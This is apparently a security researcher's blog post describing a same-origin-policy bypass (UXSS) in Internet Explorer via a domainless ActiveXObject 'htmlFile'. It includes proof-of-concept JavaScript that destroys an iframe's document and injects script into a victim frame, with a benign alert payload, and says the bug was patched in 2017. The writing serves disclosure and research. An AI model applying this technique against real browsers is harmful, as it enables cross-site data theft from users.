A few months ago we’ve been playing with domainless about:blank pages on Edge. Essentially, a powerful about:blank document was capable of accessing every domain without restrictions. It was recently patched as CVE-2017-0002 so it does not work anymore. The same thing happens with the ActiveXObject/htmlFile (from now on, htmlFile) which was patched last week as CVE-2017-0154.

If you haven’t read those two methods to achieve UXSS/SOP bypass, please do it now because what’s coming assumes that we are familiar with them. Thanks bug hunter!

Our goal today is to port our original Edge bug to Internet Explorer, which should be an easy task considering that Microsoft halfheartedly patches IE. Take a look at the current state of both bugs:

Create a domainless about:blank on IE

In the original bug, we were using a data: uri to create the domainless blank, how can we achieve the same on IE? Well, htmlFile comes to the rescue again, because the patch does not allow us to set an arbitrary domain anymore, but we can still set a it to blank, or, domainless.

To create a domainless htmlFile we first need a destroyed document, in other words, a document that does not exist anymore. And how can we create something out of nothing? That’s more of a question for Neil deGrasse Tyson, but I’ll do my best to reply! 🙂

The idea is simple in reality. We just need to make sure that things happen in the correct order.

Save a reference to the ActiveXObject of an iframe Instantiate the htmlFile at least once (so IE does not destroy it) Block the iframe thread (so IE does not have a chance to destroy our reference) Destroy the document of the iframe (using a document.open) Instantiate the htmlFile again. It is now domainless

Steps 2 and 3 are really important here. Skipping step 2 will prevent us to save a usable reference. Skipping step 3 will allow IE to destroy the object.

Bug hunter, we’ve seen this blocking-thread idea in the past (check at the very bottom of that post) which can be used to create a vast amount of vulnerabilities. The blocking thread technique that we will use below is a very visible, bold alert. This way we won’t be feeding real attackers, or at least they will have to find a solution by themselves to make this PoC completely invisible. Take a look at the code below.

Domainless htmlFile

// We will attack the iframe below // <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe> // Render an iframe (we will destroy its document later) document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>'); // Save a reference to its ActiveXObject var ifr_ActiveXObject = ifr.ActiveXObject; // Make sure IE does not invalidate our reference new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance // Block the iFrame so the ActiveXObject object is never destroyed ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");'); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // We will attack the iframe below // <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe> // Render an iframe (we will destroy its document later) document . body . insertAdjacentHTML ( 'beforeEnd' , '<iframe name="ifr"></iframe>' ) ; // Save a reference to its ActiveXObject var ifr_ActiveXObject = ifr . ActiveXObject ; // Make sure IE does not invalidate our reference new ifr_ActiveXObject ( "htmlFile" ) ; // We don't even need save this instance // Block the iFrame so the ActiveXObject object is never destroyed ifr . setTimeout ( 'alert("Do not close me until the PoC finishes, please.");' ) ;

while the blocking alert remains there.

Have you realized that we used a setTimeout to execute the blocking alert? That’s because we still need to continue doing things, and if we do the alert directly on the iframe, it will block the UI and not execute what’s coming below. Our goal now is to destroy the contents of the iframeRemember that the alert is what prevents IE from destroying the ActiveXObject.

Now we will destroy the document of the iframe and create the domainless htmlFile. If document.open is unfamiliar to you, for this PoC you can think of it as if it were a document.write.

// Destroy the iframe document ifr.document.open(); // Instantiate a domainless htmlFile var domainlessDoc = new ifr_ActiveXObject("htmlFile"); 1 2 3 4 5 6 7 // Destroy the iframe document ifr . document . open ( ) ; // Instantiate a domainless htmlFile var domainlessDoc = new ifr_ActiveXObject ( "htmlFile" ) ;

Excellent! At this point we have now a our domainless htmlFile. All we need to do now is load an iframe with the URL that we want to access, and bingo! The exact details on how to do this are described in the original adventures in a domainless world post. But essentially, we are loading any site with iframes and changing any of them to an about:blank (which belongs to the iframe domain). Then, we can freely access this blank (bypassing the SOP) from our domainless htmlFile.

// Inject the code in victim's inner iframe domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(parent.document.domain);'"); 1 2 3 4 // Inject the code in victim's inner iframe domainlessDoc . parentWindow . setTimeout ( "victim_iframe[0].location = 'javascript:alert(parent.document.domain);'" ) ;

Want to see this in action? This one works straight out of the box on IE10 and IE11, but with a little tweak it should work also from IE6 to IE11 . We won’t tweak it here but if you are curious, let me know.

[ Patched on 2017-04-11 ]

Bug hunter, let me remind you that the htmlFile still has tons of things to discover. I believe it’s worth spending a rainy afternoon researching on it!

In my opinion, the best way to patch all htmlFile related bugs is by completely disabling its instantiation from iexplore.exe. Unfortunately I don’t have the big picture and I imagine there’s a good reason to keep it alive, but honestly, I don’t know how in the world developers will patch it. There are too many things that are beyond IE awareness once this object is instantiated.

// If this code returns ACCESS_DENIED attackers will lose an amazing weapon new ActiveXObject("htmlFile"); // Do not allow this anymore! 1 2 3 4 // If this code returns ACCESS_DENIED attackers will lose an amazing weapon new ActiveXObject ( "htmlFile" ) ; // Do not allow this anymore!

Have a nice day!

Manuel.